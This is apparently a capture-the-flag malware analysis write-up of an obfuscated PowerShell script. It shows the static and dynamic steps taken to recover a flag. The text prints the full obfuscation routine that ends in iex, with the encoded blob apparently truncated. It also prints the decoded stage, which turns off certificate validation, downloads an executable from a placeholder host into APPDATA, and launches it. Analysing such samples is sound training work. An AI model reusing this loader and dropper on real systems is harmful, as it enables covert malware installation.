MegaProject.ps1

Hash Values:

Using HashMyFiles,

MD5 : 47497afbee54a8aca1e384f4b5344832

SHA1: b20c7a1fe877e8045bdeaf004d71dcc1fc910228

SHA256: cab3224df17971790cd56131e0629b766868a336072496b2901e7f3d14827b2d

File Type:

The file has extension of .ps1, file is likely a PowerShell script.

Using Detect it Easy,

File is plaintext, so it is confirmed to be a PowerShell script.

File will be opened in the PowerShell ISE and beautified for readability.

Static Analysis:

```
function encode($plaintext, $key) {
 $cyphertext = ""; $keyposition = 0;
  $KeyArray = $key.ToCharArray();
 $plaintext.ToCharArray() | foreach-object -process {
   $cyphertext += [char]([byte][char]$_ -bxor $KeyArray[$keyposition]);
  $keyposition += 1;
 if ($keyposition -eq $key.Length) {
 $keyposition = 0
 }
  };
 return $cyphertext
 }
 $e = "NBkvKhM4MDkoMRYMByJWGTghUzAEIzUePDQ2LCAjNxg2NCYrPEAvIBYnNAUGIyASNyIpMSEjIAA1CzEFPzo2VSAwJEILNS4iPEEnLyYEMAc8CyMSBkcLNjVWXyEHIRNdJD9VMCgJNzI1Oj4FMB
function roll($plaintext, $start) {
  $cypertext = "";
  $keyposition = $start;
  $plaintext.ToCharArray() | ForEach-Object -process {
  if ($keyposition -gt 5){
  $keyposition = 0
  };
  $cypertext += [char]([byte][char]$_ + $keyposition);
  $keyposition += 1};return $cypertext}
 $f = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($e))
 $g = encode $f freeworld
 $h = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($g))
 $i = roll $h 4 <# minus #>
 $j = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($i))
 $j |iex
```

Reading through the code, the value stored in $e is base 64 decoded for later manipulation, then passed to the iex function.

The iex function executes script passed to it, so the value should be another plaintext written as a script.

Base 64 decoding the value in CyberChef outputs data difficult to parse, so dynamic analysis may be necessary.

Output

```
4EM /*DC3809(1SYN FF BEL"VEM 8!S0EOT#5RS <46, #7CAN64&+<@/ SYN'4ENQACK# DC27")1!# NUL5VT1ENQ?:6U 0$BVT5."<A'/&EOT0BEL<
VT#DC2ACKGVT65V_!BEL!DC3]$?U0(    725:>ENQ0EM4DC1%:0US NUL!8 0SUBZ8>'_RS=SO9EOT(^"ETB'2/!SO RS"SI3EM/2-]0=41K(3FS
-VT>30BS 101STX&SOH6<$UGS BEL<US :7<$
 "STX$ENQ)00NAK34Z!SO BS _$6BS 1EOT ACKNUL FF$FF T #C5DC32US NAKEOT!;SYN GS <
8"BEL"VT0 #,8EOTT9^'SOHNUL!&0DC1$
5EOT304'$"_3ESCNULW4NAK1FS V!>'^BS 0SO 55<*25SYN##/
$EOT LF >RS $TDC4EOTSYNBEL(#(.7F=@4SO S0* DC3. SOHDC4
 T'G7A:DC2STX' LF DC3&STX4ENQACK"SYN FS 34^%!U_$6FF ETX SO $ACK)DC2$&P4VT%%DC23FS 7SI :8(FS <
8Q? %79LF 0EM 71DC3\*:*5DC3UNAKACK<FS *
3CANSOHU.)8&NUL0K 4SUB9SUB!24GS 6&GETB(^& +"+GS
4"GS 0%
SYNDC3*SYNSTXACKVRS !EOT1-BS 5"(!SOH BS =9&;.7'SI \SUB=EM &3STX5/VT NAK+C:630&1!)!=2<71VT%ACK?BEL&V$    /%VT4EOT2<5SOH/SYN
74 4TSYNU1ESCBEL$8<$$(3%]++FF NAKDC3 3
#?FS *FF 0CAN(DC1")8+NUL SYN0<0VT CAN
GS R BS 6WDC3 DC3^"DC4$BS SOH GS SO EM DC4DC4>@ 6NAK^SUB GS ENQ!$?3F-STX9 SO 5ACK     N:&SOH*
```

<u>Dynamic Analysis:</u>

Before starting the debugger, the function iex is changed to write-host to see if the content of the resulted script can be outputted.

After stepping through the code, the script is outputted to the terminal.

```
[DBG]: PS C:\Users\Pass_Client1>>
$comment = "For Educational Purposes Only.  `n-- X-Force Threat Intel Malware RE Team --`n";
$base64_decode_this_to_get_the_flag = "U1VQM1JfUDBXM1JTSDMzTF9YLUZvcmNl"
$url = "https://a_non_existent_powershell_test_site.com/pub/hacked/malware.bin";
$output = "$env:APPDATA\dropped.exe";
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$webClient = new-object System.Net.WebClient
$webClient.DownloadFile( $url, $output )
[System.Diagnostics.Process]::Start($output, "/nothingtoseehere")
```

Using base 64 decoding on the given string produces the flag.

Flag : SUP3R_P0W3RSH33L_X-Force